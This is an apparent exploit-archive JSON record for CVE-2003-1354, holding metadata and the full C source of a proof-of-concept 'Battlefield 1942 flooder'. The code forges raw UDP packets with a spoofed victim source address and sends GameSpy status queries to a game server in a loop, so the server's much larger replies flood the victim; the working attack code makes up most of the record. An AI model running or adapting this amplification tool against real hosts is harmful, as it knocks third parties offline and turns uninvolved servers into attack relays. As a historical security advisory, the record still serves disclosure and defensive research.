{"exploit":{"id":"EDB-22183","name":"GameSpy 3D 2.62 - Packet Amplification Denial of Service (DoS)","description":"GameSpy 3D 2.62 - Packet Amplification Denial of Service (DoS)","cves":["CVE-2003-1354"],"author":"Mike Kristovich","published":"2003-01-17","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/22183","path":"exploits/linux/dos/22183.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-22183.c","vulnerabilities":[{"id":"CVE-2003-1354","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple GameSpy 3D 2.62 compatible gaming servers generate very large UDP responses to small requests, which allows remote attackers to use the servers as an amplifier in DDoS attacks with spoofed UDP query packets, as demonstrated using Battlefield 1942.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-1354","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-1354"},"updatedAt":"2024-08-08T02:28:03.460Z","retrievedAt":"2026-11-27T03:07:05.898Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-22183.png?v=2","url":"https://exploitbin.com/exploits/EDB-22183","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-22183/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-22183/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/6636/info\n\nA vulnerability has been reported for several games that support the use of the GameSpy network.\n\nA game client typically queries a game server using the UDP protocol. It has been reported that a simple query by a client may result in a game server responding with overly large responses which may result in the saturation of available network bandwidth.\n\nExploitation of this issue may aid in launching denial of service attacks against other hosts and networks.\n\n/************************************************************************/\n/* Battlefield 1942 - All Versions flooder (proof-of-concept)   \t*/\n/*         by Mike Kristovich (mkristovich@pivx.com)\t\t\t*/\n/* \t\t\t\t\t\t\t\t\t*/\n/* Filename: bf1942dos.c\t\t\t\t\t\t*/\n/* Location: http://www.pivx.com/kristovich/poc/bf1942dos.c\t\t*/\n/*  \t\t\t\t\t\t\t\t\t*/\n/* Proof-of-concept code for PivX Security Advisory MK#001\t\t*/\n/*  \t\t\t\t\t\t\t\t\t*/\n/* Linux version (MK-POC-001/1.0)\t\t\t\t\t*/\n/*  \t\t\t\t\t\t\t\t\t*/\n/* Description of code:\t\t\t\t\t\t\t*/\n/*  This exploit will spoof UDP packets from a source which you \t*/\n/*  specify, to a Battlefield 1942 server.  The server will send\t*/\n/*  packets to the victim, regardless of victim status.\t\t\t*/\n/*\t\t\t\t\t\t\t\t\t*/\n/*\t\t\t\t\t\t\t\t\t*/\n/* This source has been tested and compiled on Linux.  \t\t\t*/\n/* This source is covered by the GNU GPL.\t\t\t\t*/\n/************************************************************************/\n/* Thanks to Luigi for assistance with the code!\t\t\t*/\n/************************************************************************/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <arpa/inet.h>\n#include <netinet/ip.h>\n#include <netinet/udp.h>\n#include <netdb.h>\n#include <string.h>\n\n\n#define IPSZ\t\tsizeof(struct iphdr)\n#define UDPSZ\t\tsizeof(struct udphdr)\n#define DATASZ\t\tsizeof(STRING) - 1\n#define PSEUDOSZ\tsizeof(struct pseudohdr)\n#define BUFFSZ\t\t100\n#define SIZE\t\t(IPSZ + UDPSZ + DATASZ)\n#define STRING\t\t\"\\\\players\\\\status\\\\packets\\\\rules\\\\\"\n#define SRCPORT\t\t1204\n#define DSTPORT\t\t230\n\nu_short in_cksum(unsigned short *addr, int len);\nu_long resolv(char *host);\nvoid std_err(void);\n\n\nstruct pseudohdr {\n\tu_int32_t\tsaddr;\n\tu_int32_t\tdaddr;\n\tu_int8_t\tzero;\n\tu_int8_t\tprotocol;\n\tu_int16_t\tlength;\n} *pseudohdr;\n\n\nint main(int argc, char *argv[]) {\n\n\tu_char\tbuff[BUFFSZ],\n\t\tpseudobuff[BUFFSZ],\n\t\t*data;\n\tstruct\tsockaddr_in \tpeer;\n\tstruct\tiphdr\t*iphdr;\n\tstruct\tudphdr\t*udphdr;\n\tint\tshandle,\n\t\terr;\n\tu_int32_t\tsource,\n\t\t\tdest;\n\tu_int16_t\tsport,\n\t\t\tdport;\n\n\tint packetsent;\n\tint maxpackets;\n\tint pktdoubler;\n\tint bandwidth;\n\n\tprintf(\"\\r\\n---------------------------------------------------\\r\\n\");\n\tprintf(\"      Game Server DoS  -  Proof-of-Concept\\r\\n\");\n\tprintf(\"   by Mike Kristovich, PivX Security Researcher\\r\\n\");\n\tprintf(\"= http://www.PivX.com :    : mkristovich@pivx.com =\\r\\n\");\n\tprintf(\"---------------------------------------------------\\r\\n\");\n\tprintf(\"= Advisory MK#001 :        : Battlefield 1942 DoS =\\r\\n\");\n\tprintf(\"---------------------------------------------------\\r\\n\");\n\n\n\n\tsetbuf(stdout, NULL);\n\n\tif(argc < 4)\n\t{\n\t  fprintf(stderr,\"Usage: %s <IP_to_flood> <Server_IP> <kBps_to_use> <#_packets>\\r\\n\",*argv);\n\t  printf(\":: Options :: <victim_port[default 53]> <server_port[default 23000]>\\r\\n\");\n\t  exit(1);\n        };\n\n\tsource = resolv(argv[1]);\n\tdest   = resolv(argv[2]);\n\n\tif (!argv[6])\n          dport  = DSTPORT;\n\telse\n\t  dport  = atoi(argv[6]);\n\n\tif (!argv[5])\n\t   sport =  SRCPORT;\n\telse\n\t   sport  = atoi(argv[5]);\n\n\n\tprintf(\"Sending packets to server ...\");\n\n\n\tpeer.sin_addr.s_addr = dest;\n\tpeer.sin_port        = htons(dport);\n\tpeer.sin_family      = AF_INET;\n\n\tiphdr     = (struct iphdr *)buff;\n\tudphdr    = (struct udphdr *)(buff + IPSZ);\n\tdata      = (u_char *)(buff + IPSZ + UDPSZ);\n\tpseudohdr = (struct pseudohdr *)pseudobuff;\n\n\t/* build data */\n\tmemcpy(data, STRING, DATASZ);\n\n\t/* build IP header */\n\tiphdr->ihl      = 5;\n\tiphdr->version  = 4;\n\tiphdr->tos      = 0x8;\n\tiphdr->tot_len  = SIZE;\n\tiphdr->id       = 156;\n\tiphdr->frag_off = 0;\n\tiphdr->ttl      = 128;\n\tiphdr->protocol = IPPROTO_UDP;\n\tiphdr->check    = 0;\n\tiphdr->saddr    = source;\n\tiphdr->daddr    = dest;\n\n\t/* build UDP header */\n\tudphdr->source = htons(sport);\n\tudphdr->dest   = htons(dport);\n\tudphdr->check  = 0;\n\tudphdr->len    = htons(UDPSZ + DATASZ);\n\n\t/* build pseudo header for calculate checksum (copy UDP header and data in it) */\n\tmemcpy(pseudobuff + PSEUDOSZ, buff + IPSZ, UDPSZ + DATASZ);\n\n\tpseudohdr->saddr    = iphdr->saddr;\n\tpseudohdr->daddr    = iphdr->daddr;\n\tpseudohdr->zero     = 0;\n\tpseudohdr->protocol = IPPROTO_UDP;\n\tpseudohdr->length   = udphdr->len;\n\n\tudphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ + DATASZ);\n\n\t/* send all */\n\tshandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);\n\tif(shandle < 0) std_err();\n\n\t/* do kbps handling */\n\n\t/* set up max packets */\n\tmaxpackets = atoi(argv[4]);\n\t/* set up packet-doubler bandwidth management */\n\tbandwidth = atoi(argv[3]);\n\n\tfor (packetsent = 0; packetsent < maxpackets; packetsent++) {\n\n\t  for (pktdoubler = 0; pktdoubler < bandwidth; pktdoubler++) {\n            err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));\n     \t    if(err < 0) std_err();\n\t    packetsent++;\n\t  };\n\t    usleep(24000);\n\n\t};\n\n\tprintf(\"\\r\\nSpoofed packets sent to Battlefield 1942 server.\\r\\n\");\n\tclose(shandle);\n\n\treturn(0);\n}\n\n\nu_short in_cksum(unsigned short *addr, int len) {\n        int\tsum = 0;\n        u_short\tanswer = 0;\n        register\tu_short *w = addr;\n        register int\tnleft = len;\n\n        while(nleft > 1)  {\n                sum += *w++;\n                nleft -= 2;\n        }\n        if(nleft == 1) {\n                *(u_char *)(&answer) = *(u_char *)w ;\n                sum += answer;\n        }\n        sum = (sum >> 16) + (sum & 0xffff);\n        sum += (sum >> 16);\n        answer = ~sum;\n        return(answer);\n}\n\n\nu_long resolv(char *host) {\n\tstruct\thostent\t*hp;\n\tu_long\thost_ip;\n\n\thost_ip = inet_addr(host);\n\tif(host_ip == INADDR_NONE) {\n\t\thp = gethostbyname(host);\n\t\tif(hp == 0) std_err();\n\t\telse host_ip = *(u_long *)(hp->h_addr);\n\t}\n\n\treturn(host_ip);\n}\n\n\nvoid std_err(void) {\n\tperror(\"\\nError\");\n\texit(1);\n}","sha256":"0221dd4294ef1dd690df5b09d70659b3cb36ace9a0ab4f520e71d7022658b180","bytes":6242,"fetchedAt":"2026-11-27T03:07:03.466Z","encoding":"utf-8 (display only; download retains original bytes)"}